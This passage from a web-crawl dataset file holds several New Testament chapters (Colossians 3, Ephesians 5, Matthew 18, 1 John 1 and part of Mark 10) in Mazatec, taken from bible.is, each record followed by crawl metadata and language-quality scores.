kìi̱, jè‑ní nga 'ñó tsjacha 'tia̱àn jñà xi̱ta̱ xàngio̱o, nga̱ jé kjo̱tsjacha ra nda síkítsa̱jnajtín‑ná. 15Ko̱ jè kjoa̱'nchán‑la̱ Cristo nda katatéxoma ya̱ a̱jin inìma̱‑no, nga̱ xá 'koa̱á 'sín kiìchja̱‑no Nainá nga 'nchán ki̱tsa̱hijyo‑ko̱o xàngio̱o nga jngó jngó‑no nga jngo ijo ko̱ma‑no. Ko̱ ko̱'sín 'ti̱‑la kjo̱nda. 16Jè 'én‑la̱ Cristo 'ñó nda katasijin ki'ta ya̱ a̱jin inìma̱‑no. Ta̱kón‑ya‑la xàngio̱o ko̱ ti̱kixi̱ya nga ti̱chjeén kjo̱bítsjen ra tjín‑la̱ kjoa̱chji̱ne̱. Ko̱ ngi ko̱ó inìma̱‑no 'ti̱‑la kjo̱nda Nainá nga ti̱jndá‑la so koni 'sín nchrabá ya̱ Salmo, ko̱ so ra jeya síkíjna Nainá, ko̱ so ra ya̱ nchrabájin‑ni ya̱ inìma̱‑no. 17Nga'tsì mé kjoa̱ ra 'sia̱an, tsa mé 'én ra ki̱nákjoa̱a ko̱ tsa mé ra mejèn‑no nga 'sia̱an, ngi 'koa̱ kjón 'sín 'tia̱àn koni 'sín tjínè‑la̱ nga 'si̱in xi̱ta̱ ra chja̱‑ni a̱'ta 'tse̱ Jesucristo ra tíjna ítjòn‑ná. Ko̱ ngi a̱'ta 'tse̱‑ní nga ko̱'tìn‑la Nainá nga tse kjo̱nda kata'se‑la̱. 18Jiòn íchjín ra ijye tjín‑no 'xi̱n, nda ti̱ná'yahijon‑la 'xi̱n‑no nga 'koa̱á 'sín síjé jè Cristo ra tíjna ítjòn‑no. 19Jiòn ra xi̱ta̱ 'xi̱n 'mì‑no, tsjacha 'tia̱àn jñà íchjín‑no; kì tà chjàn 'yaton. 20Jiòn ra i̱xti 'mì‑no nda ti̱hitjasòn‑la jñà xi̱ta̱ jchínga‑no, nga̱ jè Nainá ndaá sasén‑la̱ jñà kjoa̱ kìi̱. 21Jiòn ra na̱'ìn 'mì‑no, kì taxki̱ si chitiko̱o jñà i̱xti‑no mé‑ni nga mì si̱ìkjahajen‑la̱ ikon. 22Jiòn ra chi̱'nda 'mì‑no nda ti̱hitjasòn ijye‑la ta mé xá ra ki̱ì'tin‑no jñà ra ni‑no ma i̱ a̱'ta nangi; kì tà 'kia̱ nda níxá 'kia̱ nga tíkotsíjen‑no tsa ta jè mejèn‑no nga nda kítjo̱ngio ya̱ ngixko̱n; ngi ko̱ó inìma̱‑no nga nda ti̱hitjasòn‑la, nga̱ 'ya‑nó nga jé Na̱'ín‑ná tíkotsíjen‑no. 23'Kia̱ nga mé xá ra 'sia̱an, kì ko̱'sín 'nià koni tsa xi̱ta̱ i̱nchiníxá‑la̱, ngi ko̱ó kjo̱tsja‑no nga nda ti̱hitjasòn koni tsa jè Na̱'ín‑ná i̱nchiníxá‑la̱. 24Ijyeé 'ya jiòn nga jè Jesucristo tsjá‑no chjí‑no 'kia̱ nga si̱ìnga̱tsja‑no jè kjo̱tjò ra bako̱‑no, ta nga̱tjì‑la̱ nga̱ jè Jesucristo ra tíjna ítjòn‑no i̱nchiníxá'ta‑la. 25Tanga jè xi̱ta̱ ra 'cho tjín kjoa̱ ra 'si̱in, 'koa̱á 'sín ko̱chjí‑la̱ koni 'sín tjín kjoa̱'cho ra 'si̱in. Nga̱ jè Nainá mì tsa fahájin xi̱ta̱; ta ngásòn ngáyaá fìko̱ nga'tsiòo̱.\nColosenses 3","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/Col\/3","date":"2013-12-11T14:22:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164037630\/warc\/CC-MAIN-20131204133357-00035-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000091791,"language_script":"Latn","minhash_cluster_size":25,"top_langs":"{\"maa_Latn_score\": 1.0000091791152954}","num_words":721,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.34,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1K'oa̱á ma‑ne nga k'oa̱s'ín ti̱jchá yijo‑nò koni s'ín Nainá nga koi kjoa̱‑la̱ nga i̱xti‑la̱ Nainá 'mì‑ná nga 'ñó matsjakeè‑ná. 2K'oa̱á ti̱s'ín tjòcha chaà xinguio̱o koni Cristo tjòkeè kijtseè‑ná nga jè kitsjaà ngajo‑ná yijo‑la̱ nga k'en, jngoò kjo̱tjò xi ndaà kjòtsjakeè Nainá. 3Jè xi kjoa̱ chijngui, ngats'iì kjoa̱ ch'o xi 'ñó tjé tjín ko̱ kjoa̱ nga maxìtakòn‑chaà xinguio̱o mì ti̱ k'oa̱á tjín kjoa̱ xi ko̱xki̱‑ne i̱t'aà tsa̱jòn. Nga̱ jñò, xi̱ta̱ tsjeè‑la̱ Nainá 'mì‑nò. 4Kì 'én tsa'a nokjoà, ko̱ 'én nchi̱kón, ko̱ 'én xi ch'o tsò nga bijnòkeè xi̱ta̱. Jñà kjoa̱ koi, ti̱koa̱á mìkiì ok'ìn‑la̱ nga ko̱s'ín ki̱nókjoa̱a. Tà saà kjo̱ndaà tjiì‑là Nainá. 5Jye tíjiìn‑nò nga mìkiì ko̱ma kjoa̱has'en ñánda tíhotíxoma Cristo ko̱ Nainá, ngats'iì xi̱ta̱ xi kjoa̱ chijngui s'ín, xi kjoa̱ xi 'ñó tjé s'ín ko̱ nga maxìtakòn‑keè xíkjín. Jñà xi̱ta̱ xi k'oa̱s'ín s'ín, ta jñà kjoa̱ koi beèxkón nga nei‑la̱ ma. 6Kì yá xi̱ta̱ xi kona̱cha̱n‑nò xi ta̱xki̱ 'én béno̱jmí‑nò xi ni̱mé chjí‑la̱ i̱t'aà ts'e̱ jé koi. Ta jè nga̱tjì‑la̱ nga kjo̱'in tsjá‑la̱ Nainá jñà xi̱ta̱ xi mìkiì 'nchréñijon‑la̱. 7Kì ya̱ tsjahijtako̱o xi̱ta̱ koi. 8Jñò, nga sa̱ kjòtseé, jè kjo̱hítsjeèn‑nò tjíjñò‑la̱, ta̱nga i̱'ndei̱, jyeé iseèn titsa̱jnaà nga Na̱'èn‑ná Jesucristo titsa̱jnako̱o. K'oa̱á s'ín ti̱jchá yijo‑nò koni s'ín ok'ìn‑la̱ jñà xi̱ta̱ xi ya̱ títsa̱jna ñánda iseèn choòn. 9K'e̱ nga kjoa̱ iseèn tíjiìn ini̱ma̱‑ná ndaà s'e̱én, ya̱ ki̱tjáyaá ndi̱yá kixi̱, koa̱ nguì 'én kixi̱ ki̱nókjoa̱á. 10Ti̱nchátsjioò mé kjo̱ndaà xi sasén‑la̱ Na̱'èn‑ná. 11Kì ya̱ chingàjñoò kjoa̱ xi ni̱mé chjí‑la̱ koni s'ín xi̱ta̱ xi tjíjñò kjo̱hítsjeèn‑la̱. Jñò, ta̱ saà ta̱kó nga kàta'ya‑la̱ nga mìkiì ndaà tjín kjoa̱ xi s'ín. 12Skanda masobà‑ná nga nokjoá jñà kjoa̱'ma xi ch'o tjín xi s'ín jñà xi̱ta̱. 13Ni̱ta̱ mé kjoa̱‑ne xi si̱jna ñánda iseèn choòn, ni̱to̱ón beè xi̱ta̱ mé kjoa̱‑ne, a ndaà tjín, a xi mìkiì ndaà tjín. Nga jè kjoa̱ iseèn okó yije xi ndaà tjín ko̱ xi mìkiì ndaà tjín. 14Koií ko̱tsò‑ne 'én xi tsò: Ngaji̱ xi titsa̱jnafì, ti̱kjaá‑la yijo‑lè. Ti̱sítje̱n‑jiìn‑la̱ mik'en; jè Cristo si̱ìhiseèn‑lè. 15Ndaà ti̱kinda̱a koni s'ín titsa̱nìjchá yijo‑nò; k'oa̱á s'ín ti̱tsa̱jna koni xi̱ta̱ xi tjín‑la̱ kjoa̱chji̱ne̱; kì k'oa̱á 'nè koni s'ín xi tsjìn‑la̱ kjo̱hítsjeèn. 16Ndaà ti̱kjeén na̱chrjein mé xi s'e̱en; nga na̱chrjein i̱'ndei̱, 'ñó tjín kjoa̱ ch'o. 17Kì ch'o onguíko̱o kjo̱hítsjeèn‑nò; ndaà kàtachi̱ya‑nò mé xi mejèn‑la̱ Nainá. 18Kì xán 'yò, jè xán síkits'ón‑ná, tà sa̱á jè Ini̱ma̱ Tsjeè‑la̱ Nainá ndaà kàtas'en‑jiìn ini̱ma̱‑nò nga kàtakó‑nò ndi̱yá kixi̱. 19Chi̱ko̱o xinguio̱o 'én‑la̱ Nainá. Ti̱jndá‑là sò xi 'mì salmo, himno koa̱ ti̱jndá i̱jiìn ini̱ma̱‑nò jè xi okóya‑nò Ini̱ma̱ Tsjeè‑la̱ Nainá. Jeya ti̱kíjna Nainá nga ko̱ ini̱ma̱‑nò. 20I̱t'aà ts'e̱ 'ín‑la̱ Na̱'èn‑ná Jesucristo, na̱chrjein nchijòn tjiì‑là kjo̱ndaà Nainá xi Na̱'èn‑ná ngats'iì xi tsjá‑nò. 21Nangui titsa̱jna‑là xinguio̱o koni s'ín yaxkón Cristo. 22Jñò, íchjín xi x'i̱n tjín‑nò, nangui titsa̱jna‑là x'i̱n‑nò koni s'ín nangui bìtsa̱jna‑là Cristo. 23Nga jè x'i̱n, jè xi sko̱ tíjna‑la̱ chjo̱ón, koni Cristo, jè xi sko̱‑la̱ na̱xa̱ndá‑la̱. Ko̱ jè Cristo xi ochrjekàjiìn kjo̱'in na̱xa̱ndá‑la̱ nga ti̱jè‑ne yijo‑la̱. 24Koni jè na̱xa̱ndá‑la̱ Cristo nangui tíjna‑la̱, k'oa̱á ti̱s'ín jñà íchjín, nangui kàtìjna‑la̱ x'i̱n‑la̱ ni̱ta̱ mé kjoa̱‑ne. 25Jñò xi x'i̱n mì‑nò, ti̱tsjacha íchjín‑nò, koni jè Cristo matsjakeè na̱xa̱ndá‑la̱ nga jè kitsjaàtjì yijo‑la̱ nga k'en. 26Koií ko̱s'ín kis'iìn‑ne nga tsjeè si̱ìkíjna na̱xa̱ndá‑la̱ nga nguixko̱n Nainá. Jè jaàxìn jé‑la̱ nga ko̱ 'én ndaà‑la̱ koni s'ín xi̱ta̱ nga oníjno yijo‑la̱, 27mé‑nè nga ti̱jè ko̱kò‑ne nga tsjeè kji ko̱ ti̱jè skoétjò‑ne nga ts'e̱ ko̱ma, jngoò na̱xa̱ndá xi jeya tíjna, xi mì ch'oó kji, mì tjíyó kji, mì tjé kji, jngoò k'a tsjeè kji, ko̱ ni̱mé jé tjín‑la̱. 28Ti̱koa̱á jè x'i̱n kàtamatsjakeè chjo̱ón‑la̱ koni s'ín matsjakeè xi ti yijo ts'e̱‑ne; nga jè xi matsjakeè chjo̱ón‑la̱, ti̱jè‑ne yijo‑la̱ tímatsjakeè. 29Ni̱jngoò xi̱ta̱ xi ti̱jè beètoòn‑ne yijo‑la̱; ta sa̱á tsjá‑la̱ nga'ñó nga síkinda̱ yijo‑la̱ koni s'ín jè Cristo nga síkinda̱ na̱xa̱ndá‑la̱. 30Nga jè na̱xa̱ndá‑la̱ ti̱jè‑ne yijo‑la̱; ko̱ jñá, ti̱koa̱á ya̱á nokjoàt'aà‑ná yijo‑la̱. 31Koií kjoa̱‑la̱ nga k'oa̱s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: \"Jè x'i̱n xi bixan si̱ìkíjna na̱'èn‑la̱ ko̱ nea̱‑la̱ nga kíjnako̱ chjo̱ón‑la̱. Ingajò, tà jngoò xi̱ta̱ ko̱ma.\" 32Jñà 'én koi, jngoò kjoa̱ xi 'ñó 'in tjín skanda mìkiì fìya‑ná. Ta̱nga 'a̱n, jè tìsìkaxkia̱ Cristo ko̱ na̱xa̱ndá‑la̱. 33K'oa̱á xan‑nò ngats'ioò nga jngoò ìjngoò, ti̱tsjacha íchjín‑nò koni s'ín matsjacha yijo‑nò; ko̱ jè chjo̱ón kàteèxkón x'i̱n‑la̱.\nEfesios 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/5","date":"2013-12-13T08:14:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164920374\/warc\/CC-MAIN-20131204134840-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000092983,"language_script":"Latn","minhash_cluster_size":21,"top_langs":"{\"maa_Latn_score\": 1.000009298324585}","num_words":671,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.32,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà na̱chrjein koi jñà xi̱ta̱ xi kota'yàt'aà‑la̱ Jesús ijchòkon nga kiskònangui‑la̱; kitsò‑la̱: ―Jñà xi̱ta̱ xi jè otíxoma‑la̱ xi ngajmiì nchrobá‑ne, ¿yá‑ne xi tíjna ítjòn nga ìsa̱ 'ñó chjí‑la̱? 2Jesús kiìchja̱ jngoò‑la̱ ndí ti. Kisìkasíjna jngoò osen‑la̱ jñà xi̱ta̱. 3Kitsò: ―O̱kixi̱í xi xan‑nò, jñò, tsà mì kì si̱kjatjìya‑là kjo̱hítsjeèn‑nò ko̱ tsà mì kì k'oa̱s'ín s'e̱en koni jñà ndí i̱xti mìkiì ki̱tjás'e̱n‑jñoò ñánda tíhotíxoma jè xi ngajmiì nchrobá‑ne. 4Jè xi síkjajen‑la̱ ini̱ma̱‑la̱ koni ndí ti jè, jè‑né xi tíjna ítjòn‑la̱ ngats'iì xi̱ta̱ xi jè tíhotíxoma‑la̱ xi ngajmiì nchrobá‑ne. 5Ni̱ta̱ yá‑ne xi i̱t'aà ts'a̱n skoétjò jngoò ndí ti koni jè, 'a̱án xi skoétjò‑na. 6'Ni̱ta̱ yá‑ne xi jé ski̱nìjiìn jngoò ndí xi̱ta̱ i̱ma̱ xi mokjeiín‑la̱ i̱t'aà ts'a̱n, ìsa̱á‑la ndaà ko̱ma tsà si̱ngui'ñó jngoò nda̱jo̱ natsí ís'iìn, i̱kjoàn si̱katje̱n‑jiìn ndáchikon ñánda nga 'ñó na̱nga̱ 'ncha nandá. 7I̱ma̱ xó‑ne jñà xi̱ta̱ i̱sò'nde nga tjín jchán xi̱ta̱ xi ótsji'nde‑la̱ nga mejèn‑la̱ nga sakó jé. Ta̱nga xó k'oa̱á ko̱ma‑ne i̱sò'nde, ta̱nga i̱ma̱ xó‑nè jè xi̱ta̱ xi ótsji‑la̱ jé xi kj'ei̱í xi̱ta̱. 8'Tsà jè ndsa̱a ko̱ ndso̱koò ótsji jé‑nò, ti̱chátjòn koa̱ kjiìn ti̱katsjoò. Ìsa̱á ndaà‑nè tsà xkoán titsjoò nga ki̱tjás'e̱en ñánda s'e̱‑nò kjoa̱binachon, mì k'oa̱à‑ne tsà jò ma ndsa̱a ko̱ ndso̱koò koa̱ ján onguió i̱jiìn ni'ín ts'e̱ i̱'nde kjo̱'in ni̱ta̱ mé na̱chrjein‑ne. 9Tsà jè xkoòn ótsji jé‑nò, ti̱nachrjeè, kjiìn ti̱katsjoò. Ìsa̱á ndaà‑nè tsà jngoò ma xkoòn nga ki̱tjás'e̱en ñánda s'e̱‑nò kjoa̱binachon, mì k'oa̱á‑ne tsà jò ma xkoòn koa̱ ján onguió i̱jiìn ni'ín ts'e̱ i̱'nde kjo̱'in. 10'Ni̱jngoò ndí xi̱ta̱ koi xi na̱chrjenguioò; k'oa̱á xán‑nò, ján ngajmiì, jñà àkja̱le̱‑la̱ xi̱ta̱ koi, ya̱á títsa̱jna kjit'aà nga nguixko̱n Na̱'èn‑na̱ xi tíjna ngajmiì. 11'A̱n xi Ki'ndí‑la̱ Xi̱ta̱ xan‑la̱ yijo‑na̱ koií xá j'i̱‑na nga j'i̱ kàchrjekàjñaà kjo̱'in jñà xi̱ta̱ xi kichijà. 12'¿Kó bixón? Tsà jngoò xi̱ta̱ xi jngoò sìndo̱ ma orrè‑la̱ koa̱ tsà si̱jchaya jngoò ján i̱jiìn ijñá, ¿a mìtsà si̱ìkítsa̱jna jñà xi ñijòn‑kaàn ko̱ chrj'oòn ñijòn ma nga kjoi̱ kátsji jè orrè xi kichijà jngoò? 13Tsà ko̱tsji‑la̱, o̱kixi̱í xi xan‑nò, ìsa̱á tsja ko̱ma‑la̱ nei‑la̱ jè orrè xi jngoò ma, mì k'oa̱á‑ne jñà xi kjìn ma xi mì kì kichijà. 14K'oa̱á s'ín mejèn‑la̱ Nainá xi tíjna ngajmiì nga ni̱jngoò xi̱ta̱ si̱ìchja ini̱ma̱‑la̱. 15'Tsà jè 'ndsì ch'o tísíko̱‑lè, ti̱nókjoa̱‑la̱ k'e̱ nga tà jè ta̱jngoò tíjna; tìndaàjiìn‑koi̱i jè kjoa̱‑la̱; tsà kji̱'nchré‑lè, jyeé ndaà kichibà‑nò 'ndsì. 16Ta̱nga tsà mìkiì kji̱'nchré‑lè, k'e̱é ti̱nókjoa̱‑la̱ tsà jngoò ko̱ tsà jò xi̱ta̱ mé‑ne nga kji̱'nchré yije‑ne 'én xi chibà koni s'ín tíchja̱ Xo̱jo̱n‑la̱ Nainá nga tsò: Mochjeén‑né tsà jò ko̱ tsà jàn xi̱ta̱ xi tsjá 'én nga ko̱ma si̱ndaàjiìn ni̱ta̱ mé kjoa̱‑ne mé‑ne nga chjí‑la̱. 17Tsà mìkiì 'nchréñijon‑la̱ jñà xi̱ta̱ koi, koa̱tìn‑la̱ xi̱ta̱ na̱xa̱ndá‑la̱ Nainá; koa̱ tsà mìkiì 'nchréñijon‑la̱ jñà xi̱ta̱ na̱xa̱ndá‑la̱ Nainá, tà k'oa̱s'ín jcha̱takoìn koni tsà jngoò xi̱ta̱ xi mìkiì beèxkon Nainá, koni tsà jngoò xi̱ta̱ xi tsojmì síkíchjítjì. 18'O̱kixi̱í xi xan‑nò, jñò, ngats'iì kjoa̱ xi koi̱'nde i̱ i̱sò'nde, ti̱koa̱á ján ngajmiì Nainá tsjá'nde‑né; koa̱ jñà kjoa̱ xi mìkiì koi̱'nde i̱ i̱sò'nde, ti̱koa̱á ján ngajmiì Nainá mìkiì tsjá'nde. 19'Ìjngoò k'a koa̱ xan‑nò: tsà jò ma‑nò i̱ i̱sò'nde xi tíjngoò takòn nga si̱jét'aà‑là Na̱'èn‑na xi tíjna ngajmiì ni̱ta̱ mé kjoa̱‑ne, tsjá‑nò. 20Ya̱ ñánda títsa̱jna jò jàn xi̱ta̱‑na̱ xi i̱t'aà ts'a̱n bixoña, ya̱á tìjna̱jiìn osen‑la̱. 21K'e̱é kiì kasìt'aà chrañà‑la̱ jè Pedro, kiskònangui‑la̱ Jesús, kitsò‑la̱: ―Na̱'èn, ¿kó tjín k'a siìjchàat'aà‑la̱ xinguia̱a k'e̱ nga tsà ch'o tísíko̱‑na? ¿A skanda itoò k'a? 22Jesús kitsò‑la̱: ―Mìtsà xan‑lè itoò k'a; xaán‑lè itoò k'a xi jàn‑kaàn ko̱ te. 23'Koni s'ín otíxoma jè xi ngajmiì nchrobá‑ne, k'oa̱á s'ín tjín koni kis'iìn jngoò xi̱ta̱xá ítjòn xi kisìjé‑la̱ kinda̱ xi̱ta̱ chi̱'nda‑la̱. 24K'e̱ nga tís'ín kinda̱ j'iì jngoò chi̱'nda‑la̱ xi 'ñó kjìn millón to̱n kitje̱n‑la̱. 25Chi̱'nda jè tsjìn‑la̱ to̱n xi koi̱ìchjí‑la̱. Jè nei‑la̱ kitsjaà o̱kixi̱ nga kàtasatíjna osen jè chá, ko̱ chjo̱ón‑la̱ ko̱ i̱xti‑la̱, ngats'iì tsojmì xi tjín‑la̱ mé‑ne nga ko̱chjí‑la̱ to̱n xi kitje̱n‑la̱. 26Chi̱'nda jè tsasìxkó'nchit'aà‑la̱ jè nei‑la̱; tsibítsi'ba‑la̱, kitsò‑la̱: \"Na̱'èn, tjín‑lè kjo̱ndaà, chíñakjoa̱‑ná; kíchjí yijeé‑lè ngats'iì xi kitje̱n‑na.\" 27Jè nei‑la̱ kjòhi̱ma̱keè chi̱'nda‑la̱, kisìjchàat'aà‑la̱ nga yije kinda̱ xi kitje̱n‑la̱ koa̱ kisìkíjnandei̱í‑ne. 28Ti̱k'e̱‑ne nga itjo ni'ya chi̱'nda jè, kisatiìkjoò jngoò chi̱'nda xíkjín xi ti̱koa̱ to̱n kitje̱n chiba‑la̱ xi ts'e̱. Kitsobà'ñó ís'iìn nga mejèn‑la̱ ki̱nchàjta̱‑la̱, kitsò‑la̱: \"Tíchjí‑ná xi kitje̱n‑lè.\" 29Koa̱ jè chi̱'nda xíkjín tsasìxkó'nchit'aà‑la̱, tsibítsi'ba‑la̱. Kitsò‑la̱: \"Chíñakjoa̱‑ná, kíchjí yijeé‑lè xi kitje̱n‑na̱.\" 30Ta̱nga jè mìkiì kòkjeiín‑la̱. Ta̱ saà nda̱yá kiskinìs'en skanda k'e̱ nga koi̱ìchjí yije‑la̱ kóho̱tjín xi kitje̱n‑la̱. 31K'e̱ nga kijtseè jñà chi̱'nda xíkjín xi i'nga, baá ko̱ma‑la̱. K'e̱é kiì tsibéno̱jmí‑la̱ nei‑la̱ ngats'iì kjoa̱ xi komà. 32Jè xi̱ta̱xá ítjòn xi nei‑la̱, k'e̱é kiskinìkjaá chi̱'nda jè, kitsò‑la̱: \"Ji̱ chi̱'nda xi ch'o 'nì. 'A̱n kisìjchàat'aà‑lè ngayije xi kitje̱n‑lè k'e̱ nga tsibítsi'ba‑ná. 33Ti̱koa̱á ngaji̱ tjí'nde‑lè nga jcha̱hi̱ma̱chiì chi̱'nda xingui̱i koni s'ín kisìko̱‑lè nga kjòhi̱ma̱keè‑lè.\" 34Jè nei‑la̱ kjòjtií‑la̱, k'e̱é kitsjaà o̱kixi̱ nga kàt'iì‑la̱ kjo̱'in skanda k'e̱ nga koi̱ìchjí yije xi kitje̱n‑la̱. 35Jesús kitsò: ―Jñò k'oa̱á ti̱s'ín si̱ìko̱‑nò nga jngoò ìjngoò Na̱'èn‑na̱ xi tíjna ngajmiì tsà nga mì ko̱o ini̱ma̱‑nò si̱jchàat'aà‑là jé‑la̱ xinguio̱o.\nSan Mateo 18","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/18","date":"2013-12-06T20:58:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163052537\/warc\/CC-MAIN-20131204131732-00048-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.000009656,"language_script":"Latn","minhash_cluster_size":23,"top_langs":"{\"maa_Latn_score\": 1.0000096559524536}","num_words":786,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.258,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jè Jesús, jè 'Én ra síkíjnakon‑ná ra tíjna‑ni skanda ti̱'sa̱ tjà'tsin‑la̱ kjoa̱. Tanga 'ndi̱ 'ndi̱, ijyeé ko̱'sín ina'yá‑la̱ji̱n, ko̱ xkoàn kijcha‑naji̱n, ko̱ nda kjón ichitsíjen‑la̱ji̱n, ko̱ ti̱'koa̱á ichaájnò‑náji̱n. 2Jè 'Én ra̱kìi̱, kijcha tsijeén‑la̱. Ko̱ kijcha‑náji̱n. Ko̱ ngi kjoa̱kixi̱‑ní ra i̱nchi'bèna̱jmí‑ji̱n ra a̱'ta 'tse̱. Ko̱ ti̱'koa̱á i̱nchi'bèna̱jmíya‑laji̱n ra jiòn‑jiòn jè 'Én ra síkíjnakon inìma̱‑ná ni̱ta kjiá‑nioo̱. Jè 'Én ra̱kìi̱, 'kia̱ nga ti̱'sa̱ ítjòn, ya̱á tíjna'ta‑la̱ Nainá. Tanga 'ndi̱ 'ndi̱, ijyeé tsatsíjen tsijen‑naji̱n. 3I̱nchi'bèna̱jmí‑laji̱n kjoa̱ ra kijcha‑ji̱n ko̱ ra ina'yá‑ji̱n mé‑ni nga 'koa̱ ti̱'sín ngásòn nda ki̱tsa̱jnajtién ra jién koni 'sín ijye nda titsa̱jnajtín‑ke̱é Nainá ra Na̱'ín‑ná ma ko̱ I'ndí‑la̱ ra Jesucristo. 4Kií xá i̱nchibinda‑laji̱n xa̱jo̱n ra̱kìi̱ mé‑ni nga jngó kjá ngi tà kjo̱tsjaá katasakó ki'ta‑la̱ inìma̱‑ná. 5Ki̱í 'sín tjín jñá 'én ra tsakón‑ya‑naji̱n Jesucristo, ko̱ kií‑ní ra ko̱'sín nakjoáya‑ji̱n: Jè Nainá, tà kjoa̱hisen‑ní ra jè. Ra a̱'ta 'tse̱, tsìn ra kjoa̱jñò. 6Tsa kixé nga ya̱á nda titsa̱jnajtín‑ke̱é Nainá, tanga tsa ya̱á i̱nchiníjchá‑ná ijo‑ná ya̱ ñánda̱ nga jñò chon, ñánda̱ tjín kjoa̱'cho, 'én ndisoó ra i̱nchinakjé; mì tsa kjoa̱kixi̱‑ní ra i̱nchi'nié. 7Tanga tsa ya̱á titsa̱jneé ñánda̱ isen chon, koni 'sín jè Nainá ya̱á tíjna ya̱ ñánda̱ isen chon, ndaá titsa̱jnajtién ko̱ xàngie̱é, ko̱ jè jní‑la̱ Jesucristo ra I'ndí‑la̱ Nainá ma, sítsje ijyeé jñà jé ra tjín‑ná. 8Tsa kixé: \"Tsìn‑na jé ra 'a̱n\", ti̱jién i̱nchibindo̱cha̱‑lá ijo‑ná; mì tsa kjoa̱kixi̱‑ni ra i̱nchibixé. 9Tanga tsa 'kéna̱jmí ijye‑lá Nainá jè jé ra tjín‑ná, ko̱maá jè kjó'tatakén nga si̱hijcha'ta‑ni jè jé ra tjín‑ná ko̱ si̱ìtsje ijo‑ná nga'tsì kjoa̱'cho ra i̱nchi'nié. Nga̱ jè Nainá síhitjasòn 'én‑la̱ ra jè, ko̱ ngi kjoa̱kixi̱‑ní ra 'sín. 10Tanga tsa kixé: \"Kjè sa india jé batsjía̱ ra 'a̱n\", jé Nainá ndiso i̱nchinachrjengieé, ko̱ mì tsa kixi̱‑ni kjoa̱ nga makjiín‑ná jè 'én‑la̱.\n1 Juan 1","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/1John\/1","date":"2013-12-11T06:42:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164032288\/warc\/CC-MAIN-20131204133352-00057-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000070333,"language_script":"Latn","minhash_cluster_size":22,"top_langs":"{\"maa_Latn_score\": 1.0000070333480835}","num_words":279,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.231,"stopwords_ratio":0.312,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jesús itjojin‑ní ya̱ na̱xi̱ndá Capernaum, nga kijì ya̱ ján nangi Judea, ko̱ kijí ya̱ nangi ra kjijna ya̱ a̱jto̱n ndáje̱ Jordán. India kjokjìn'ta‑ila̱ xi̱ta̱ ko̱ tsikí'tsia̱ nga tsakón‑ya‑la̱ koni 'sín 'sín ki'ta. 2Ijchò kincha'ta chrañaá i'ka‑la̱ xi̱ta̱ fariseo nga mejèn‑la̱ sko̱ónda̱cha̱‑la̱; iskonangi‑la̱, kitsò‑la̱: ―¿A tjí'nde‑la̱ ra xi̱ta̱ 'xi̱n nga ma jngó kjá tsjín‑ni jè chjo̱ón‑la̱? 3Jè Jesús kitsó‑la̱: ―¿Kó'sín tsakón‑ya‑no Moisés? 4Kitsó xi̱ta̱ kìi̱: ―Moisés kitsjá'nde‑ní nga ma jngo xa̱jo̱n koaajna masen xi̱ta̱ nga tsjín‑ni xákjién. 5Jesús kitsó‑la̱: ―Moisés, kií ko̱'sín tsikínda‑ni kjo̱téxoma ra̱kìi̱ ta nga̱tjì‑la̱ nga 'ñó tájajín tjín inìma̱‑najiòn. 6Tanga 'kia̱ nga ti̱'sa̱ isinda i̱sà'nde, \"ko̱ chjo̱ón ko̱ 'xi̱ín tsikínda Nainá. 7'Koa̱á ma‑ni nga jè xi̱ta̱ 'xi̱n, 'kia̱ nga ki̱xan, tsjín jè na̱'ìn‑la̱ ko̱ tsjín jè na̱‑la̱; ta jé chjo̱ón‑la̱ kíjnako̱. 8Ko̱, jngoó ijo ka̱ma‑ni ta ngajòo̱.\" Mì tsa ti̱ jò ma‑ni 'kia̱ nga ijye kàbixan; tà jngoó ijo kàma‑ni. 9'Koa̱á ma‑ni nga mì kì ma nga jñà xi̱ta̱ si̱ìtsjin‑ni xákjén jñà ra jè Nainá síjngo. 10'Kia̱ nga ijchò‑ni ni'ya‑la̱ jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús, iskonangií india‑ila̱ ra ti̱jè‑ni kjoa̱ kìi̱. 11Jesús kitsó‑la̱: ―Jè xi̱ta̱ ra tsjín‑ni chjo̱ón‑la̱ ko̱ kj'ií chjo̱ón ki̱xan‑ko̱ india‑ni, kjoa̱ chijngií tí'sín. 12Ko̱ tsa jè chjo̱ón tsjín‑ni 'xi̱n‑la̱ ko̱ kj'ií 'xi̱n ki̱xan‑ko̱ india‑ni, ti̱'koa̱á kjoa̱chijngií tí'sín‑te. 13Jñà xi̱ta̱ 'jiìkó‑la̱ ndí i̱xti jè Jesús mé‑ni nga kátá'ta‑la̱ tsja. Tanga jñà xi̱ta̱ ra kotá'yá'ta‑la̱ Jesús mì kì 